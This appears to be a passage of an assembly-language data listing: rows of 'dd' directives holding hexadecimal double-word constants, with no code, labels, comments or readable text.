		dd 98CF7B4Fh, 80D70194h, 0F83DC243h, 3DB686B0h,	39CF08h
		dd 2F85022Ah, 0E3B737D8h, 5B7FF80Eh, 69386032h,	1BB0A34h
		dd 968D957Ah, 17BE6FBCh, 0CC7FE181h, 142C3820h,	0E45AAABFh
		dd 60869864h, 239AF90Dh, 0E0219B4Fh, 0F8C64700h, 11CAD26h
		dd 7BF17E78h, 80D00B1Ah, 0E2706E21h, 0E869AFAh,	5B8AA747h
		dd 8B559500h, 7A14753Dh, 994BB82h, 20660EEDh, 7986FD38h
		dd 19E2264Fh, 0E7B5012Ch, 0DF6BD7DDh, 0FA2AE190h, 8E04DF01h
		dd 0F11BC49Eh, 0BFD33980h, 0A16A8997h, 722F3207h, 0D9453351h
		dd 0B8ADBC40h, 75881197h, 0F31F074Eh, 0BF6974B3h, 6B575801h
		dd 0F03421CFh, 380A5D93h, 8C6026B7h, 0BEA29E01h, 7893B523h
		dd 0E0DD18B8h, 2B28524Fh, 3A00A4DEh, 0EBE5A57h,	14809EFh
		dd 0AA059B80h, 8126E91Bh, 0C701FF30h, 204EBB88h, 8EB4B711h
		dd 7FAD204Ch, 39B09704h, 9067265Fh, 0EC10830Dh,	9B0C11F0h
		dd 2FB66F12h, 8B15000h,	327838h, 0BDF4B7E3h, 3D7EB307h
		dd 0E82BDF00h, 66AB57E1h, 0FBF200FEh, 7B905B6Eh, 0C704DC8Bh
		dd 0A88316F9h, 32031080h, 5E7100E6h, 0B958E492h, 7D0070EFh
		dd 9A91821Bh, 62C054h, 3B77876Dh, 12A74ACDh, 310010B0h
		dd 0C7733746h, 57A684h,	2C3EB208h, 8AC1ACFAh, 4CDB3300h
		dd 73E8B19Ah, 41F060ECh, 0D1981EE0h, 9358BC39h,	9E000908h
		dd 81F4B610h, 0E7DB0006h, 6668CDF3h, 91FCB47Eh,	42073090h
		dd 663C94Ah, 0E0DC0DB0h, 1C62F60Ch, 0C083864Bh,	0A5CE87FBh
		dd 18000F66h, 0C10C30B3h, 797AD39Ah, 1BEA0774h,	0A013A5C0h
		dd 299FF26h, 0DF60171Eh, 0BF58AD80h, 3121C32h, 6386B68Ch
		dd 0E090546Eh, 9C00C4ECh, 0AE6B3CF8h, 0B51E1Dh,	2D952E78h
		dd 53FB9DF5h, 44F0AB00h, 0F1C06761h, 4B141C93h,	0D8860069h
		dd 153EA4BBh, 80344628h, 92200B02h, 4213EAB2h, 7A384849h
		dd 0F9910093h, 94ACC45Fh, 0FB18C8CDh, 61606ACAh, 0FA33009Dh
		dd 0A0E18306h, 0D0005181h, 9896786Fh, 0E8646EE4h, 706900A8h
		dd 0ECB295D8h, 861071D6h, 0F77B718h, 7846A414h,	2F196DC0h
		dd 69002BEBh, 4ABD5937h, 4E368Ch, 77FC29DDh, 41E4DB07h
		dd 91A0C500h, 10AFFFF4h, 0ED0C0086h, 0E605DC1h,	6377D429h
		dd 3234F200h, 0ACCE5425h, 9E880252h, 2C6A822Bh,	790EB4E0h
		dd 0B1B0F200h, 0A03AC727h, 59580023h, 0E9692ABCh, 9DF82B4Ch
		dd 7EB048FCh, 20AE1B04h, 0EE26D1h, 5AB8DBF3h, 830098C6h
		dd 0E888E097h, 0CF01B65h, 2DD68C93h, 0CC3F2191h, 987B004Bh
		dd 8523B586h, 9F6A0084h, 7C19C962h, 0D0006B8Fh,	7133C2D2h
		dd 736194D5h, 0F40900ABh, 0E986997h, 0CE00B6ECh, 45AE294Eh
		dd 75DD3EC6h, 430B052Bh, 809BDED5h, 4B4ACF76h, 0BAA23C00h
		dd 0EF92C680h, 0E1E6099Dh, 0EF812BC4h, 34F7575Eh, 9EB8A258h
		dd 0F86BA400h, 0E5185CCBh, 975F001Eh, 0F796F233h, 0FE1D1768h
		dd 8100C83Ah, 0E7BF776Fh, 1ED6009Ah, 6A3DB338h,	7F00EA30h
		dd 1897E84Ch, 0C0685F07h, 17F8FEA4h, 3426BB56h,	0BA8AC8EEh
		dd 4F07901Ah, 3697B784h, 0AE28DEE0h, 0FCF450EAh, 584109FBh
		dd 4209E02h, 0F3877066h, 0B3D97A02h, 49B5E3ACh,	796028D8h
		dd 6B29C32Dh, 8E88DF20h, 0B90F49D3h, 0A0059190h, 0FC0D9A8Ch
		dd 0B85D1D3Ah, 4F5342C1h, 50409E39h, 0BF30E77Fh, 25ABD192h
		dd 0E93400A6h, 1FB41CDAh, 74902EFFh, 0C368A51Fh, 8BAC7807h
		dd 278CDC30h, 0E02162FAh, 0C12287B1h, 5DE8B81Ah, 87A600E3h
		dd 79AA9178h, 0D5E861D3h, 0F998F700h, 5C60F134h, 1D60E767h
		dd 0E0050327h, 90C63AADh, 0D082FE0h, 0B9551205h, 0B6879301h
		dd 6016207Fh, 327B4B3h,	47C456E7h, 290E31C0h, 0C0FDFB09h
		dd 93A69406h, 40140092h, 0C9569E72h, 630F2C44h,	0A2ECB369h
		dd 0E3B54A1Dh, 0E6483E4Ah, 14863F0Ch, 0EC001BAAh, 65A49480h
		dd 0C77978Ch, 5BF402B2h, 0E600E048h, 8B15D124h,	6E7B04h
		dd 13FF76AEh, 6B5BF917h, 7EEF2D01h, 12A2951Eh, 0D8C77A21h
		dd 0DE3A53h, 76648DD9h,	7175CA70h, 4E83F50Fh, 0EEAB40A9h
		dd 156402Eh, 81139F55h,	2890DABCh, 8EED0718h, 2390709Ch
		dd 2F8FF7Bh, 95D4893Fh,	0C48D641h, 31E4502Eh, 6850100h
		dd 5C59F238h, 53589784h, 0CE4EB500h, 7321ACE7h,	0A1200F4h
		dd 0DE3C67F8h, 5300382Eh, 0D6FFE4Dh, 3A4109h, 8E1F8163h
		dd 6CFA1E7Fh, 2304F5F0h, 0D34555B6h, 40AD86h, 0C656BEF4h
		dd 215DAFC2h, 73848201h, 0C4D595AEh, 0A2864h, 1C16D012h
		dd 0C624825Bh, 52224700h, 0E701DE18h, 9C4203B9h, 71658D38h
		dd 9060C4DAh, 40006DADh, 5673C389h, 25BD499h, 9FCFBFB7h
		dd 5048EA1Bh, 3098BBFAh, 80A4DE48h, 9A65219Bh, 8711C796h
		dd 4B40C06Bh, 67FCE5AAh, 0F039C92h, 66CEC26h, 8C5788CDh
		dd 5361059Eh, 0D05CA383h, 0CBC0FE5Ch, 99EE2B1Fh, 771021C0h
		dd 0A7F0E5h, 3F40D63Dh,	5B5C2348h, 8D262D00h, 22C42FE7h
		dd 909D0005h, 0A60B169Bh, 0F67E6FACh, 3D02A700h, 0DBC009CDh
		dd 19F2003Ch, 18500A41h, 6C07323Eh, 0B9EC9708h,	7D9CCAE0h
		dd 9FD700E5h, 91D8CF14h, 3A072276h, 4A48C6FFh, 6B5DBBF0h
		dd 0FC271241h, 54F301EBh, 0D40CCD1Fh, 6500EC3h,	8500E5D1h
		dd 0D7D8C48Eh, 896931h
		dd 3A5C5F47h, 0F648495Ah, 90502800h, 0FE9A0315h, 7EC2FAFFh
		dd 0BB1C0023h, 81A2C793h, 5F00DA95h, 9BD81725h,	70F589D0h
		dd 7D840751h, 0F0E99AA9h, 3038AED6h, 48854424h,	58EB9C00h
		dd 0BA4B1C6h, 0DE268FB3h, 2FA39C00h, 0FD008882h, 537432E1h
		dd 1CE2EDDAh, 706452C5h, 0C3929620h, 6E0E3500h,	0B2F665BBh
		dd 0DEAC0072h, 4EE0C28Ah, 8300913Ah, 0DBB03B03h, 70CBBECh
		dd 0CED71292h, 0C96AD096h, 0F6007A43h, 1E17501Fh, 69B9B2h
		dd 968B7112h, 32B65FC8h, 5D0D8F07h, 6B007E78h, 3F0B9559h
		dd 568E0637h, 5A80EE82h, 0F4037464h, 0A7639A25h, 0E520B058h
		dd 38D1239h, 786F76Bh, 17A81C1Fh, 0AB004CCFh, 6009027Ch
		dd 7643B448h, 73ED0295h, 289BDD08h, 0DA4D9C80h,	7F012766h
		dd 0FAEC18Ch, 2828921Eh, 738D600h, 0CF885391h, 83330439h
		dd 36F84F20h, 0BCD3E431h, 6C308005h, 773203E9h,	8633016Ah
		dd 3563EA0h, 0C78EC59h,	0B9D32672h, 0CFE80753h,	4030DDA9h
		dd 84948DADh, 0C0DF8A1Fh, 2F937C03h, 30D4A38Bh,	72784F30h
		dd 4CA33291h, 0D31970F8h, 0F1DCAE00h, 9EB84DBh,	9BCF1963h
		dd 40744005h, 0D1727DEDh, 0FD79D263h, 0EC16B1E8h, 6C8AE0h
		dd 0E93FF20Eh, 95CF2427h, 0A97BE8E1h, 0F0C2FB00h, 0FE23EBC3h
		dd 763507A1h, 0B0E3757Ch, 475E1E34h, 82A2293Ah,	0C8907ED6h
		dd 0FBAD60D1h, 51F000CEh, 7581D9BAh, 42008E24h,	0E67EC916h
		dd 0C28ADC72h, 9CC380E8h, 8C813C71h, 98DDC030h,	1388C918h
		dd 83300095h, 0F95F38FFh, 0BB099BD1h, 0C81CB026h, 66A4BD4h
		dd 6F8E72F1h, 8C00395Ch, 9F84FD21h, 991D736h, 47695B56h
		dd 0C024E600h, 0E6042E76h, 0EF1B81AEh, 106090E1h, 0DF3700DAh
		dd 0F08DD22Dh, 0B854FEB5h, 9800E3BCh, 94AF0FC5h, 6636D2EAh
		dd 21BD08ACh, 0C5207800h, 47062914h, 1F660346h,	0DB73AA04h
		dd 6F185076h, 0D670D38Ah, 0DAF0A87Bh, 10CA5053h, 816041BEh
		dd 22FF3D9h, 58394023h,	93671210h, 0E2C8388Ah, 674780C0h
		dd 9BE005Dh, 0FC7F2AB4h, 0D360CBE1h, 0A6BAA160h, 5F2C0C62h
		dd 0A8685EFAh, 4D05AB06h, 2518D6A3h, 0C4903716h, 6300A67Ch
		dd 0C2F86C7Dh, 9B7254h,	0FE014487h, 0C6FA3B6h, 2265AB1Eh
		dd 81AA8087h, 46AC5020h, 0E1943D16h, 0D8FBC500h, 7AD187AFh
		dd 4864900h, 81E06B3Fh,	0E40302F6h, 0FD9C1DDCh,	0CE58EB40h
		dd 66703Fh, 0B6FA5446h,	38356BEAh, 0AD391425h, 0A6F23180h
		dd 8A72BEF8h, 0FB3B0C00h, 0EA953EDEh, 0C2B7004Bh, 3823C1FDh
		dd 0B80073FEh, 12A5E40Ch, 7EFF49A9h, 30B970B3h,	0F62126B4h
		dd 700FA5ABh, 0EC3EFA4Bh, 3A9182Ch, 9E379A93h, 9D05AACh
		dd 8E12D9DFh, 1101B276h, 1F7261EDh, 0EA7B9E60h,	0FB540CB5h
		dd 0BD401113h, 0D5EDBB06h, 0F810B868h, 0E377010Fh, 0FA181FEBh
		dd 831DFE6h, 7322127h, 7403E0E6h, 2AF400B3h, 0E08F52F7h
		dd 0F66C9EEEh, 41C668D8h, 34B8A0C1h, 1102E746h,	0FEBA977h
		dd 28116D31h, 0DC0E409h, 7B127500h, 0F4E42434h,	0F9B660D7h
		dd 0B03DC11Ah, 7DCB3000h, 0B2B5237h, 786B61E3h,	0BE0AEEDEh
		dd 2207A91h, 1088D8C0h,	0E081584Eh, 0ECA60E8h, 0EFD8C20h
		dd 718A33A0h, 0F100071Ch, 0E51A4714h, 1E52D0E0h, 124CBE9h
		dd 9537E78Fh, 0B49A2091h, 0ED1BC200h, 7770B15Bh, 10420075h
		dd 190BDFF6h, 88002E0Eh, 0CA2F2638h, 1CB89823h,	83D081C8h
		dd 0CE707736h, 0DB5D5BB0h, 9AC04100h, 759C53Ah,	1493000Bh
		dd 0A46CF4ADh, 0BE007DDEh, 0B582FFDFh, 22C9C27h, 61CCCC9h
		dd 0DB81B63Ah, 0E863D11Eh, 42608A7Eh, 322DC438h, 0FB42C0A4h
		dd 0DBE903F5h, 71186B60h, 0C0ACC3B9h, 0EBF8D28h, 0B003ABDEh
		dd 3A13AF7Dh, 0EC4AB7Ch, 2820FD20h, 90089407h, 549E95Ch
		dd 0ADF5F01Fh, 177BB287h, 8F63B4C0h, 14B4B08Bh,	1825F791h
		dd 6E562600h, 97893C3Eh, 0AA0C49D3h, 926178h, 95391A1Dh
		dd 0EC04388Eh, 0D46BDC05h, 64428C7Eh, 0A7FC12h,	858E4515h
		dd 50496502h, 21C1E701h, 0DF77AA8Bh, 5FBB3AF8h,	4239D53Ch
		dd 0D0215D04h, 8F0B0F23h, 70C08079h, 0F1300F4Eh, 0AABFD0h
		dd 86D7A57Dh, 7EABEE98h, 28F22B04h, 7883BE20h, 4C88A03Fh
		dd 0CD970073h, 0D295BDA7h, 0FD66D350h, 210708h,	0E5CD8F08h
		dd 89E671F8h, 68297C00h, 7A4B3EA4h, 2853684Ah, 0A2293AADh
		dd 0CD98012Ch, 18ADBDA6h, 9011885Bh, 0B032CD00h, 0B6CEDE5Dh
		dd 0C331B8A0h, 0BB82950h, 0D6317EA8h, 19C2EBF8h, 80C8FE2Eh
		dd 0D3B9E98Ah, 171503ACh, 5451724Bh, 816C5803h,	235CEF99h
		dd 9601B890h, 0FDBDA4CDh, 13886218h, 0ECCD5B8Eh, 0DBAD0C95h
		dd 5319CCh, 3B285F4Bh, 45D8019Ch, 0A689C08Bh, 0BFC930DBh
		dd 6ECEE929h, 2045A700h, 0E4E5BD6Ah, 315860F1h,	0F92739E8h
		dd 0A0DE2900h, 0A10DBCE0h, 2497F99h, 0CB1860F1h, 0A8A04D15h
		dd 62A4C5A5h, 0C0436A1Fh, 39E1DA18h, 0AC4D0390h, 0E986B638h
		dd 1606B7C8h, 0AF185D05h, 0C43A8CCEh, 55004E23h, 0DA51DBEBh
		dd 0ADB50ED0h, 0EF20B76Eh, 0A62D6246h, 39266C00h, 5606E7CDh
		dd 0C9DC1848h, 0A999F9B9h, 9B35D700h, 0A079CFEFh, 51F403F8h
		dd 0B8D0F7BEh, 0D298408Dh, 9C67D7ADh, 0BFDBB60Ch, 7A8E414Fh
		dd 4B1806B4h, 80EA2DDh,	94020884h, 0C7635FBEh, 1590A201h
		dd 7E88A054h, 0E041EBh,	752093D3h, 0EE4E7311h, 0A6234C09h
		dd 0E81C2084h, 63917FA4h, 0DC22077h, 21F40930h,	0A7F9D48h
		dd 49D40195h, 469E8C8Ch, 0CA0055A1h, 75CD9B40h,	509DF6DEh
		dd 191090BFh, 31D1DBA7h, 3F80B953h, 2798026h, 6CF2A663h
		dd 218AFD9Eh, 0E115D8h,	0CFADA8B8h, 3BF6981Bh, 684D1600h
		dd 3EF8FEF4h, 1A7095AFh, 39C49D30h, 1B4A17h, 0A923EB6Bh
		dd 6A3ED3FEh, 98C72539h, 266959BAh, 17DE0036h, 69A4B5DFh
		dd 0F9603E63h, 0F4192E1h, 0D1EF0A60h, 7490720Eh, 9B01FF46h
		dd 9E21BDEDh, 680408Ah,	0D900D7A6h, 51F52E14h, 0FAA54EBAh
		dd 0E2502A4Bh, 0B0F148D0h, 0D0604287h, 0CC911C5Eh, 0D78CC900h
		dd 0A8B58912h, 822500A7h, 270754EEh, 0A01E0B39h, 0F19415F7h
		dd 437F84C8h, 2A4076C0h, 1C06039Eh, 270E0A99h, 4672A5A0h
		dd 506E9012h, 1AACA040h, 3D1A77Fh, 0C9845DC2h, 0E5A3E212h
		dd 250E9900h, 70E19C7Fh, 73230011h, 7A74520Fh, 0E563CB63h
		dd 3DE015F9h, 9D83EE31h, 0C5D882B7h, 0B774DD8h,	36E54814h
		dd 819C258Fh, 4EF9CE59h, 911DC530h, 180879C4h, 7B5E0038h
		dd 0A7C3D78Dh, 9D24A1FAh, 0CA800448h, 8EDA5FACh, 0B90E0330h
		dd 4D4617A0h, 55D7E3BBh, 22EC08BEh, 947FA5C1h, 0A6721160h
		dd 0B9E244ECh, 0C8AD180h, 0ECA634D8h, 0E1008B19h, 351A6720h
		dd 39454F5h, 0EF977CA0h, 0B1714644h, 0A8803091h, 0F59C36D7h
		dd 42631A8Ch, 349D19A1h, 0F182E211h, 9C460B51h,	0B4EE8001h
		dd 5A7AB716h, 0B610FCh,	5C84453Ch, 49D1437Bh, 0BDD2DC18h
		dd 48A69E31h, 72249069h, 0C0DB41C4h, 501C15C1h,	146C40BAh
		dd 64B4A125h, 34EE6E01h, 803DF1ABh, 308C02E9h, 2DC0D6Fh
		dd 990FE7C4h, 0A4C78E75h, 0CA604D44h, 7400F2A7h, 7DDB81FFh
		dd 264B266Dh, 61381AC7h, 0C86CDD2Ah, 0EF0621E6h, 254F9892h
		dd 99893A4Eh, 297B9E8Ch, 908CBF80h, 0BD6B0951h,	3016D935h
		dd 0CD931400h, 9944457Ch, 4DA301AAh, 0A13A9FFDh, 0A7BE008Dh
		dd 314F60F1h, 0E46AB2FBh, 300D8FEh, 42647D37h, 1E7F8769h
		dd 0CEA2C99Dh, 0ACD46D53h
		dd 14273580h, 5B00CD8Ch, 6D542A1h, 41A0B23h, 0E725C4BBh
		dd 8ED482C8h, 87F1C30h,	0E212D1A5h, 0C40A864h, 56167F17h
		dd 4D51AA00h, 57DAF543h, 12B70449h, 99214C8Bh, 5460DA30h
		dd 78938177h, 0B200FE11h, 0CEEC7F9Eh, 8F0B426Ah, 109D7061h
		dd 1E81DA44h, 0C00733B9h, 0B28F1079h, 29006149h, 80853402h
		dd 16C963D7h, 146D3C44h, 5CE8B8CCh, 910E4D43h, 807D6E9Ch
		dd 5940A969h, 0F1C05615h, 9AA2257Bh, 99421C94h,	0BA4C5DF3h
		dd 9581103h, 2900556Eh,	0E4527FC6h, 0EF546C9h, 4EAEB7C7h
		dd 3021E12Dh, 3288C13Ch, 3E7E4CD1h, 0A57B9500h,	79DBC070h
		dd 41482E79h, 0F590DDE8h, 743BC983h, 99350AB0h,	2101D512h
		dd 5C23382Fh, 0A3496C01h, 0B44CA2F7h, 0CCBA0001h, 12B2A865h
		dd 6E00F4DEh, 7FEAC4DDh, 22FDF24h, 0ECC9E90Ah, 0CC0A6CC5h
		dd 0F81BB701h, 791051D5h, 6900A9B6h, 5E7398FFh,	9821238Bh
		dd 645485BCh, 0D0A6614Eh, 0AA46CD8h, 526E43C3h,	0B98080A4h
		dd 0ADE2ABFBh, 9C16307Ch, 10214563h, 0F072D1F7h, 0E1C59E18h
		dd 1C3DF895h, 0CA80037h, 1B9934C1h, 0D5EC09E5h,	1C97211Eh
		dd 0E1804F91h, 2C429E64h, 0A683B71Fh, 86277DC7h, 80BF68AFh
		dd 1C8FAA5Eh, 0B00C8941h, 8B93940h, 21DC56h, 79768FC0h
		dd 2B065D81h, 0D80B4B2Fh, 29F4648h, 41C7901Bh, 105A31B1h
		dd 78FBDFFh, 844ECE2Ch,	5FD7227Bh, 3DC81440h, 0AAEBD003h
		dd 0B1459646h, 1870264Eh, 48F77F47h, 2429B029h,	18525938h
		dd 0BDC0A3C9h, 0F12DCC40h, 1A1A7CCh, 63373960h,	628BD5B1h
		dd 4D04F738h, 0C0441831h, 1730AD0Eh, 49EA61DCh,	0BF990E19h
		dd 32608EE7h, 0FA8AB34Eh, 0F8307D09h, 90464CCh,	20A59E9Ch
		dd 2B003C37h, 9BE07E05h, 85691FE1h, 0F947D8DBh,	0C9C0F2A1h
		dd 755B06DCh, 0FF4900B8h, 346CD0E1h, 9B4828C7h,	2ADFC03Ch
		dd 3B76F5h, 0B9CB1CFBh,	1A633EAh, 253BBE73h, 0C56E0796h
		dd 4921D3A8h, 618586CBh, 899D6A20h, 0B21843B8h,	0C830A599h
		dd 0B700ACB1h, 9D1AD234h, 12BA8B10h, 87F6611h, 0BEC09A1Ch
		dd 4841108Fh, 0FCE040A9h, 0EF1F8FB4h, 642C7AF8h, 0FAF04F0Dh
		dd 0F033B5DCh, 54D02601h, 8DC64248h, 0E7449220h, 0F1AD184Fh
		dd 0C6822140h, 0AE17831Fh, 8E8713C9h, 86D760A6h, 0B14E4F4Ah
		dd 0F36307F0h, 0C09DF3C6h, 0B5B98907h, 5540E965h, 0C0C3BFDCh
		dd 321F3919h, 0E076D26Eh, 6B4AF20Ch, 0A0F19158h, 1D9624Ch
		dd 41C4F63Ch, 2CBDDBADh, 0F2068084h, 916C689h, 0B63079DCh
		dd 6A0100C4h, 2CCDB528h, 51C443EFh, 7ECF0030h, 0EB625FAFh
		dd 749A8D95h, 47EF7F02h, 0E17B9477h, 8C39A110h,	0E6E2B601h
		dd 2C685543h, 76A88010h, 73603ACDh, 8BFA0010h, 0C3F069B9h
		dd 22003BAEh, 6E5B3C99h, 1D805B4h, 0C0C820A4h, 49794B31h
		dd 0E0C4094h, 4911E3B1h, 0F7008442h, 50EE7F8Bh,	1202A0CAh
		dd 9E6B0FE6h, 58C417h, 4C3915C4h, 0B23ECD58h, 8FAE553Dh
		dd 801BC804h, 0E95DC240h, 25A30530h, 8859018Ch,	0A1221C38h
		dd 91C300FAh, 5E3ABA9Eh, 0A001604h, 0E8181143h,	12DB94CCh
		dd 390D7EFh, 0A155E2F4h, 0C796C804h, 84809A9Bh,	0AD6C3Dh
		dd 0BF4FA73Ch, 0D81B6E9Fh, 8C1A2C00h, 0D65AF050h, 8F2A4C19h
		dd 7C513Ah, 3C9DEC36h, 86422F4Bh, 0D3A3E300h, 30C598AEh
		dd 0FB1B72C6h, 8E214180h, 8FB2A907h, 438244h, 1DC495C3h
		dd 1FDC8C49h, 5A484617h, 38CA5100h, 0CF9707h, 60DEEE21h
		dd 0C729DAA6h, 2A506D60h, 130615h, 2D91F3DCh, 0FAD658ECh
		dd 7300ACF8h, 0AECDC1BCh, 171C6C5h, 2107BF09h, 802ACC1Bh
		dd 0C4EF4891h, 0AEAF2Fh, 6A9D322Dh, 0CAED31D7h,	5F86B74h
		dd 0B7428000h, 28A57A98h, 604F0CA1h, 0CE811DA9h, 0E9C5341Dh
		dd 57DED400h, 24624AE1h, 2F50C27h, 0C41B38CCh, 9F7A8090h
		dd 0A860E914h, 0DEDC0F20h, 0E62178A6h, 0AB2E26A5h, 0ADF6007Eh
		dd 94F048FDh, 72011D00h, 0CB6A58D7h, 0EF9A187Ch, 71A408Ah
		dd 56C89560h, 37BAED60h, 0C0E14561h, 11718BF3h,	1AB0C075h
		dd 0CB1D0C77h, 74099FDh, 0E1A8AF49h, 819A63A7h,	35D8A0BBh
		dd 0BF1E21D1h, 6B405779h, 65D471DFh, 457DFEh, 86A3AE5Ah
		dd 0CCDE6FB2h, 0DC3F3105h, 0E8401A89h, 0F1567C21h, 0D9F3E9Ah
		dd 14008ACCh, 0B127B343h, 580DA794h, 318589D7h,	0FB47C47Ah
		dd 0EFF9DB00h, 0E8CE130Ch, 0C7301527h, 9F00946Ah, 2979351Fh
		dd 0A903CB64h, 3CB886BBh, 21EBA8F5h, 0F4D9028Fh, 58613957h
		dd 278080AFh, 3B023EA0h, 8A1BD404h, 24802D4Eh, 487B1CE9h
		dd 0DA3A3015h, 69E49D19h, 0F03EF81Ah, 1EC00C0Eh, 0AD098101h
		dd 842007B5h, 6CC788A1h, 898A31C0h, 0ED5DB46h, 8DA321B4h
		dd 1FB68EE0h, 633E9D09h, 0B432A8D9h, 979C420Fh,	0C8B180DDh
		dd 0E837DB91h, 7449C764h, 1AAE10EBh, 88013441h,	6CE89F9Ch
		dd 94506189h, 924AD8Ch,	0EE70AEB9h, 204E6800h, 0D2221B50h
		dd 0F69D1BA2h, 0E83CC98Dh, 0A6307A5Ah, 39C8219Eh, 0EF4600A0h
		dd 66052486h, 640CDA78h, 6980F59Dh, 0E48100DEh,	0D989EE86h
		dd 3F488895h, 0D8A80084h, 3E71936Fh, 0B2BA0CAAh, 0F0599DA6h
		dd 0B895F600h, 3B811FD0h, 2BAB02BDh, 0C66379C7h, 95648C40h
		dd 8F8DFA0Ch, 0BA6983h,	96F43FD8h, 77116F6h, 407F9400h
		dd 0FD5A49B1h, 0C0A67EE5h, 0DE432161h, 3498EBEAh, 0FA1C5675h
		dd 803FC4E3h, 60B4CE9Ch, 779AB53Eh, 77310359h, 27B830D7h
		dd 0F5224103h, 0E14FF93Dh, 58267B82h, 9FEED607h, 2955905Dh
		dd 2826806Eh, 2702EBCAh, 0D564F5B3h, 0A507E3E0h, 0DEBE0950h
		dd 0C8D9BE09h, 0BF9C10A6h, 433D00D7h, 668F48B5h, 9072419h
		dd 8CFDBE0h, 0EE5076A7h, 0D110BCh, 0A8B0E3BFh, 25AB245Dh
		dd 28A77414h, 0C5290074h, 1B798E90h, 85580A82h,	64A7ECh
		dd 0D5123B0Ah, 9A007D3Eh, 0EE5906B2h, 7B7816BBh, 0C19D14D7h
		dd 0D00180C4h, 98C0CC03h, 0FBE9F45Ah, 0E8DFD20Ch, 98BF5899h
		dd 0C7A00824h, 9E2C8C64h, 87CE5B00h, 28AACh, 686E3647h
		dd 7A8371C2h, 44016312h, 21324447h, 0AC82800Fh,	0C04C642Eh
		dd 0A9FCC519h, 0B57CD759h, 0DE126C00h, 0D0DCDA94h, 0EDD37A3Fh
		dd 9816EBD0h, 8CF7A58h,	5F0663CAh, 3851C580h, 6BFCCE9h
		dd 7EA37D40h, 0E800B0D4h, 274D0937h, 4854D6FCh,	0CB80C0C2h
		dd 0F571777Ah, 689E0901h, 0D453CD6Dh, 0A4A6DAE4h, 313E009Ch
		dd 0C513DBF8h, 6A02C258h, 7F15D386h, 998898A7h,	3D12B022h
		dd 337CA495h, 9D4125C7h, 0DFF0718Eh, 199CA630h,	1442A9h
		dd 8F7C3237h, 5BD9877Ah, 0ECBD6200h, 9C8DDE52h,	23A629D2h
		dd 0CD803DF0h, 0F061A40Ch, 381FDBA8h, 722C9CA0h, 51C22606h
		dd 0F86D0069h, 2E04E9D1h, 0B50055D0h, 39D81E79h, 98A109h
		dd 0CFC3E5C7h, 8CA861D1h, 0A6F4B008h, 0E123802Bh, 716E5C1Bh
		dd 6A5DE0C1h, 0B4515405h, 2980A0A7h, 232F2704h,	0AF90B7F4h
		dd 87FE9F02h, 61ADA4FFh, 9D102A78h, 88B07959h, 0A881A90Bh
		dd 2CF05848h, 40E48936h, 575475A6h, 2C3F1E09h, 0C7038366h
		dd 0F1D10068h, 0B673C693h, 1400FCC4h, 0ED370662h, 1D4F8AF0h
		dd 3F07CE24h, 6C316930h, 7F17D043h, 7B00F023h, 13379832h
		dd 74D85451h, 6D100007h, 0ECE5DA3Bh, 0D5982131h, 72D08501h
		dd 53B39F09h, 6D48434h,	893E886Eh, 0E00B110h, 3893DAE4h
		dd 57FDEA7h, 2B7DB778h,	0FFC7BE13h, 0C73514C1h,	7432A7F9h
		dd 6F45B600h, 8B3BAAEBh
		dd 3EA0034Fh, 42A1038Dh, 17A560EFh, 0D422C114h,	0BD820798h
		dd 11169E34h, 6F642A79h, 307500ACh, 0EB438878h,	0F401D89Dh
		dd 62F332F2h, 408F7945h, 60C3B621h, 592E73A3h, 4D40BCF2h
		dd 0A2B092h, 8404B354h,	5BBD69F4h, 11BCC317h, 2FD3DC04h
		dd 88E5D142h, 77FA04C6h, 8D000A77h, 183DEADCh, 0A027177Dh
		dd 0B052ECh, 0E37E984Fh, 0B81D1B4Bh, 35007499h,	0E8F00A69h
		dd 6F180043h, 0BC06DFBDh, 2062AF7Ah, 2380D0E8h,	7FE8F6EEh
		dd 0D55C4B88h, 0D70A7DA0h, 805B6127h, 60B0DD8Eh, 0CAB1F3D9h
		dd 32470477h, 0D617BA70h, 10EDF810h, 0C0530669h, 0A9212039h
		dd 5D00DED7h, 3972F715h, 4C6031C1h, 7930C1Dh, 94AA1DCh
		dd 8AB0E40Eh, 898450E4h, 1083C2BBh, 0F6B0A7EFh,	6317D9h
		dd 4B8AA21h, 59C19A4Bh,	0AC1E88C8h, 9DA9039Ch, 495818ECh
		dd 0F887C038h, 2A444CC9h, 747D81h, 800F7AFCh, 0CFE72913h
		dd 993BEF04h, 30C8A78Dh, 0F2DF86Ch, 0AD5D2010h,	0F900E29Fh
		dd 0D379FBA9h, 8F755Ch,	0C1A426F4h, 0C78EAD94h,	2115415h
		dd 0D4D60224h, 753B9863h, 3FD7A400h, 6F13BAB7h,	0DC018A67h
		dd 29C41B91h, 0C17A3183h, 0A9004661h, 0F4E8353Ch, 3B41A7FFh
		dd 8D38211Dh, 63482900h, 87AFAECBh, 3642500h, 772EEC3Ah
		dd 57811722h, 90180044h, 2FE93561h, 35C0D748h, 0C0429A48h
		dd 0E4A65422h, 377654h,	1C936CB1h, 97B221F4h, 9D465F04h
		dd 948838EBh, 0F2678854h, 5C9FC200h, 0AB95B499h, 49840B4Eh
		dd 8057CD51h, 64B6F72Dh, 2031C05Ah, 4157D081h, 7F862300h
		dd 3956F4FFh, 33D2000Bh, 0F62E8A1Bh, 0C2583F5Ch, 5E128080h
		dd 85B72Fh, 0E27B4096h,	84906648h, 596D6130h, 0AA2DA3h
		dd 4CDAF5F7h, 0E09B7F75h, 38C69200h, 17020D18h,	60DC023Ah
		dd 3ED4A1EDh, 0DDCFA840h, 198F9618h, 306AD9h, 0C376AC3Ah
		dd 842612AEh, 1F90B30Fh, 17A68085h, 7E99C08Bh, 6FC730C9h
		dd 7B1C2CA1h, 91597200h, 0B10C0133h, 97A20170h,	39E102C4h
		dd 0B4F060EEh, 6D00BC90h, 666B119h, 30600BFCh, 694976A7h
		dd 0D1C05204h, 6458AF32h, 0A8AC02B5h, 3BFF66AEh, 0F65218C0h
		dd 7560761Eh, 2CC511FCh, 4B3AF100h, 0B363DEE0h,	6EE09461h
		dd 282CFEADh, 0C9979A12h, 7B30604Ch, 0D8F05C89h, 10B90027h
		dd 93582F91h, 0C2001AB5h, 6DD4EE5Dh, 7EFC0Ah, 0F58D5CEFh
		dd 0F94CB70Ch, 9609E490h, 30DEE8D9h, 559F0h, 0D72C9CB4h
		dd 1B0BC7DFh, 586C22E9h, 9E070050h, 4F02A680h, 0EC4890CFh
		dd 0E96C0901h, 2C912060h, 8628Fh, 2F809A1Dh, 1FC3974Eh
		dd 0C0CF374Ch, 5E3D87A4h, 0B33D7982h, 50B78133h, 0DED69712h
		dd 3C2B08F0h, 57012AB1h, 8E7E450Fh, 0E82DA7h, 14E5C817h
